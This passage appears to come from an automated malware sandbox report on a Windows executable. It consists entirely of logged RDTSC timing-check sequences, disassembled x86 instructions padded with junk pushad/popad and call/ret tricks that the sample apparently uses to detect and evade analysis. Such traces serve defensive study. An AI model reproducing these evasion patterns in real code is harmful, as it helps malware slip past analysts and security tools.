0x00000051 push edi 0x00000052 pushad 0x00000053 popad 0x00000054 pop edi 0x00000055 pushad 0x00000056 push edi 0x00000057 pop edi 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E9983A second address: E99850 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F09FCB08886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F09FCB0888Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E99850 second address: E9988E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b call 00007F09FCF89C1Fh 0x00000010 cmc 0x00000011 pop edi 0x00000012 push 00000000h 0x00000014 jc 00007F09FCF89C1Ah 0x0000001a push 00000000h 0x0000001c mov di, 8240h 0x00000020 xchg eax, esi 0x00000021 pushad 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E9988E second address: E998A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jl 00007F09FCB08888h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E99A19 second address: E99A1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E99A1D second address: E99A23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E99A23 second address: E99A29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E99A29 second address: E99A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E99A2D second address: E99A31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E9B6E8 second address: E9B6EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E9C82C second address: E9C89A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F09FCF89C1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d stc 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F09FCF89C18h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f call 00007F09FCF89C18h 0x00000034 pop ebx 0x00000035 mov dword ptr [esp+04h], ebx 0x00000039 add dword ptr [esp+04h], 00000019h 0x00000041 inc ebx 0x00000042 push ebx 0x00000043 ret 0x00000044 pop ebx 0x00000045 ret 0x00000046 or dword ptr [ebp+122D1BD6h], ecx 0x0000004c xchg eax, esi 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F09FCF89C1Dh 0x00000054 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E9B9A8 second address: E9B9AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E9CA3E second address: E9CAC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov di, 69DEh 0x00000010 push dword ptr fs:[00000000h] 0x00000017 and ebx, dword ptr [ebp+122D29AAh] 0x0000001d jng 00007F09FCF89C17h 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a xor dword ptr [ebp+122D1BDFh], edi 0x00000030 add ebx, dword ptr [ebp+122D28D2h] 0x00000036 mov eax, dword ptr [ebp+122D06B9h] 0x0000003c push 00000000h 0x0000003e push eax 0x0000003f call 00007F09FCF89C18h 0x00000044 pop eax 0x00000045 mov dword ptr [esp+04h], eax 0x00000049 add dword ptr [esp+04h], 00000016h 0x00000051 inc eax 0x00000052 push eax 0x00000053 ret 0x00000054 pop eax 0x00000055 ret 0x00000056 push FFFFFFFFh 0x00000058 xor di, 5F1Dh 0x0000005d jmp 00007F09FCF89C20h 0x00000062 nop 0x00000063 push edi 0x00000064 pushad 0x00000065 pushad 0x00000066 popad 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E9CAC1 second address: E9CAE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F09FCB08896h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E9CAE6 second address: E9CAEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EA0AC4 second address: EA0AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jbe 00007F09FCB088A2h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EA0AD4 second address: EA0AD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EA0AD8 second address: EA0ADE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EAB70C second address: EAB711 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EAB711 second address: EAB717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EAF564 second address: EAF579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F09FCF89C16h 0x0000000f jc 00007F09FCF89C16h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EAF6C8 second address: EAF6D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB0888Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EAF6D6 second address: EAF71F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F09FCF89C16h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F09FCF89C24h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jc 00007F09FCF89C18h 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007F09FCF89C29h 0x00000023 push edi 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EAFB10 second address: EAFB24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F09FCB08886h 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EAFB24 second address: EAFB2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EB5661 second address: EB5665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EB5665 second address: EB5676 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F09FCF89C16h 0x00000009 je 00007F09FCF89C16h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EB5676 second address: EB567F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EB567F second address: EB5683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EB5683 second address: EB56C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F09FCB08895h 0x0000000e jl 00007F09FCB08897h 0x00000014 jmp 00007F09FCB08891h 0x00000019 push eax 0x0000001a push edx 0x0000001b jne 00007F09FCB08886h 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EB4A8A second address: EB4A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EB4D67 second address: EB4D71 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F09FCB08886h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EB4D71 second address: EB4D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EB4D7A second address: EB4D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F09FCB08898h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EB4D99 second address: EB4DAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F09FCF89C1Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EB4DAB second address: EB4DAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EB96A4 second address: EB96A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBD929 second address: EBD933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F09FCB08886h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBD933 second address: EBD962 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnl 00007F09FCF89C16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F09FCF89C1Ah 0x00000011 jmp 00007F09FCF89C26h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBDAA9 second address: EBDAB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F09FCB08886h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBDAB4 second address: EBDABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBDC25 second address: EBDC29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBDC29 second address: EBDC2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBDC2D second address: EBDC40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jo 00007F09FCB08886h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBE190 second address: EBE19F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jns 00007F09FCF89C16h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBE19F second address: EBE1A4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBE1A4 second address: EBE1C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F09FCF89C21h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBE1C6 second address: EBE1D0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F09FCB0888Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBE469 second address: EBE46D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBE46D second address: EBE495 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F09FCB08886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 jns 00007F09FCB0888Eh 0x00000016 popad 0x00000017 jnp 00007F09FCB088B0h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBE495 second address: EBE49B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBE49B second address: EBE4AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F09FCB08886h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBE5EB second address: EBE616 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 jmp 00007F09FCF89C1Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007F09FCF89C18h 0x00000017 jo 00007F09FCF89C18h 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBD67F second address: EBD683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBD683 second address: EBD687 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EBD687 second address: EBD698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09FCB0888Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EC2BBC second address: EC2BC1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EC2BC1 second address: EC2BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 jmp 00007F09FCB0888Fh 0x0000000d push esi 0x0000000e jbe 00007F09FCB08886h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E860D0 second address: E860D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E861AF second address: E861BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F09FCB08886h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E86531 second address: E86535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8669C second address: E86710 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F09FCB0888Dh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F09FCB08899h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 push esi 0x00000018 pushad 0x00000019 popad 0x0000001a pop esi 0x0000001b jmp 00007F09FCB0888Eh 0x00000020 popad 0x00000021 pop eax 0x00000022 push 00000000h 0x00000024 push ecx 0x00000025 call 00007F09FCB08888h 0x0000002a pop ecx 0x0000002b mov dword ptr [esp+04h], ecx 0x0000002f add dword ptr [esp+04h], 0000001Ah 0x00000037 inc ecx 0x00000038 push ecx 0x00000039 ret 0x0000003a pop ecx 0x0000003b ret 0x0000003c push 5C5E7564h 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E86710 second address: E86714 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E86714 second address: E8671A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8671A second address: E8671F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8697D second address: E86981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E86981 second address: E8698F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8698F second address: E86993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E86993 second address: E86999 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E86999 second address: E8699F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8699F second address: E869BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push edx 0x00000010 jl 00007F09FCF89C1Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E86B27 second address: E86B2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E86C61 second address: E86C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E86C65 second address: E86C69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E86C69 second address: E86C88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F09FCF89C27h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EC76B6 second address: EC76C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F09FCB08886h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EC76C3 second address: EC76E4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F09FCF89C2Ch 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EC7AD2 second address: EC7AE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pushad 0x00000009 jp 00007F09FCB08886h 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EC7AE5 second address: EC7AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EC7C82 second address: EC7C86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EC7F65 second address: EC7F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F09FCF89C22h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F09FCF89C16h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EC7F86 second address: EC7F8C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ECA40A second address: ECA410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ECA410 second address: ECA414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ECA58C second address: ECA5A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09FCF89C24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ECA5A4 second address: ECA5C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB08899h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ECA5C6 second address: ECA5D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09FCF89C1Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E3BA6A second address: E3BA6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E3BA6E second address: E3BA7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
